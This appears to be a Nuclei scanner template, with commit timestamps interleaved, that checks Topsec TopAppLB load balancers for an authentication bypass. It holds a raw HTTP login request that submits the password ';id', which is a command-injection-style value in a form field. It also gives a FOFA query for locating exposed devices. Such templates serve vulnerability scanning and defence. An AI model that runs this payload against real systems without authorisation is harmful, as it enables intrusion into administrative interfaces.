2023-09-14 19:11:38 +00:00
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id: topsec-topapplb-auth-bypass
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info:
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name: Topsec TopAppLB - Authentication Bypass
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author: SleepingBag945
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severity: high
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description: |
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Topsec TopAppLB is vulnerable to authetication bypass .Enter any account on the login page, the password is `;id`.
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reference:
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2023-09-17 16:11:07 +00:00
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- https://github.com/cqr-cryeye-forks/goby-pocs/blob/main/Topsec-TopAppLB-Any-account-Login.json
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2023-09-14 19:11:38 +00:00
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metadata:
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fofa-query: title="TopApp-LB 负载均衡系统"
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2023-09-18 12:45:28 +00:00
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max-request: 2
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verified: true
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2023-09-14 19:11:38 +00:00
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tags: topsec,topapplb,auth-bypass
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http:
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- raw:
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- |
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POST /login_check.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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userName=admin&password=%3Bid
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- |
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2023-09-17 16:11:07 +00:00
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GET / HTTP/1.1
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2023-09-14 19:11:38 +00:00
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_1 == 302 && status_code_2 == 200'
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- 'contains(body_2,"var IsHeadMin ")'
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- 'contains(header_1,"redirect.php") && !contains(tolower(header_1), "error=1")'
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condition: and
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